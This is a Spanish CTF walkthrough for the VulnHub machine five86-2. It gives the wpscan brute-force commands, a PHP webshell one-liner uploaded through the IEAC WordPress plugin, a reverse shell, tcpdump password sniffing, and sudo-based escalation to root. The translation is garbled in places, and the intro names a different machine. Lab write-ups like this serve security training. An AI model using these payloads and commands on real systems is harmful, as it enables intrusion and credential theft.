Dirección de la máquina de destino: < http://www.vulnhub.com/entry/five86-2,418/> ;
Este artículo incluye ejercicios prácticos de puntos de conocimiento: experimentos relacionados: VulnHub *** prueba el campo de tiro de combate real Nodo 1.0 (El nodo 1.0 es un desafío Boot2root / CTF de dificultad media, el entorno del campo de tiro fue creado originalmente por HackTheBox, y el propósito del el experimento es obtener dos banderas)
Resumen de puntos técnicos
• *** para sitios de WordPress
- wpscan
• Vulnerabilidad RCE del complemento IEAC en WordPress
• Uso de tcpdump
Descubrimiento de destino
El parámetro nmap -sP usa ping para escanear hosts de LAN, la dirección de destino es 192.168.56.6
nmap -A 192.168.56.6 -p- puede ver cierta información del host de destino, -A es para la detección de versiones y huellas dactilares del sistema operativo, -p- es para todos los puertos
Abra los puertos 22, 21, 80 y el puerto 80 es el CMS de WordPress 5.1.4
Es mejor agregar 192.168.56.6 five86-2 a / etc / hosts por adelantado, porque cuando acceda al backend wp-admin de wordpress, saltará a este dominio
Descubrimiento y explotación de vulnerabilidades
No se encontraron vulnerabilidades en WordPress 5.1.4 en searchsploit y Google. Puede escanear esta URL con wpscan. wpscan es un escáner para WordPress. Para un uso detallado, consulte la guía completa de WPScan .
El escaneo predeterminado devolverá el middleware, XML-RPC, archivo Léame, ruta de carga, WP-Corn, versión, tema, todos los complementos y archivos de respaldo del sitio de destino.
命令 wpscan -u < http://192.168.56.6/> ;
Aquí no se encontró información útil. Considere la posibilidad de enumerar los nombres de usuario y luego use rockyou.txt para descifrar la contraseña. Comando de nombre de usuario de explosión wpscan --url < http://192.168.56.6/> --enumerate u, se encontraron 5 usuarios
peteradminbarneygillianstephen
Comando de contraseña explosiva wpscan --url < http://192.168.56.6/> -U user.txt -P /usr/share/wordlists/rockyou.txt
Al final salieron dos resultados
Nombre de usuario: barney, Contraseña: spooky1 Nombre de usuario: Stephen, Contraseña: apollo1
Use barney para iniciar sesión en segundo plano < http: // five86-2 / wp-admin />, puede ver que este sitio tiene tres complementos instalados, pero solo está activado Insertar o incrustar contenido articulado en la prueba de WordPress (IEAC)
Akismet Anti-Spam Versión 4.1.1 Hello Dolly Versión 1.7.1IEAC Versión 4.2995
Busque en Google, no es difícil encontrar el RCE de este complemento: análisis de vulnerabilidades de IEAC del complemento de WordPress e intentos de uso combinado , también hay en exploit-db
Primero genere poc.zip,
echo "hola"> index.htmlecho "<? php echo system ($ _ GET ['cmd']);?>"> index.phpzip poc.zip index.html index.php
Luego inicie sesión en el backend de wordpress, seleccione un nuevo artículo
Elija agregar bloque
Elija E-Learning
Subir poc.zip
Elija Insertar como iFrame
Puede ver la ubicación de carga, lo que significa que la última ubicación del shell es < http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php> ;
Shell de prueba < http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami> Esto obtendrá el shell
Use php-reverse-shell para revertir el shell, visite < http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php> para ver el shell de rebote, que aún no es TTY, así que simplemente quiero Cómo convertirse en TTY
ls / home descubrió que hay 8 directorios, dos contraseñas acaban de ser destruidas, una está registrada en segundo plano, la otra no está probada y ambas están en estos 8 usuarios. Puede probar primero con su barney, completar la contraseña spooky1 y encontrar que falla, luego probar con stephen, contraseña apollo1. El shell aquí no sabe por qué no hay $ anteriores, pero se puede usar
De hecho, los datos www aquí se pueden convertir directamente en TTY usando python3 -c'import pty; pty.spawn ("/ bin / bash") ', que puede ser más conveniente
Luego sudo -l descubrió que se necesita una contraseña y no es spooky1, así que vamos a su stephen, y encontramos que stephen está en un grupo de usuarios llamado pcap (no es pcap un paquete de tráfico ^ _ ^)
Entonces sudo -l encontró que sudo no se pudo ejecutar
Volviendo a pcap, ¿el paquete de tráfico significa análisis de tráfico? Pruebe ifconfig y descubra que no existe tal comando, pero puede usar ip add y ver que varias interfaces de red se están ejecutando actualmente.
La última interfaz aquí parece ser dinámica, y es diferente cada vez Puede usar tcpdump -D para listar las interfaces disponibles para la captura de paquetes. Elegí atrapar los dos últimos aquí porque no son muy comunes. El comando de captura de paquetes es timeout 120 tcpdump -w 1.pcap -i veth2c37c59, donde timeout 120 significa 2 minutos, -w es para enviar el resultado a un archivo y -i es el puerto de escucha designado
Puede analizar estos dos paquetes de tráfico, comando tcpdump -r 1.pcap, donde -r lee datos de un paquete de tráfico dado No es difícil encontrar la contraseña esomepasswford del FTP del usuario paul. El contenido de 2.pcap es el mismo que el de 1.pcap.
Entonces su paul, use la contraseña anterior para encontrar que puede iniciar sesión. Prueba sudo -l para encontrar que stephen puede usar el comando de servicio de peter
Entonces puedes ejecutar directamente peter's / bin / bash. El comando sudo -u peter service / bin / bash. Aquí para prestar atención al problema del directorio, use el directorio relativo para encontrar la ubicación de / bin / bash
Después de obtener la autoridad de Peter, todavía sudo -l primero, y descubrí que él puede ejecutar el comando passwd del usuario root. Luego puedo modificar directamente la contraseña de root para obtener la autoridad de root.
Es hora de realizar tecnología real. sudo -u root passwd root (trastorno obsesivo-compulsivo, el texto completo es coherente), lo mismo que sudo passwd root
Encuentra la bandera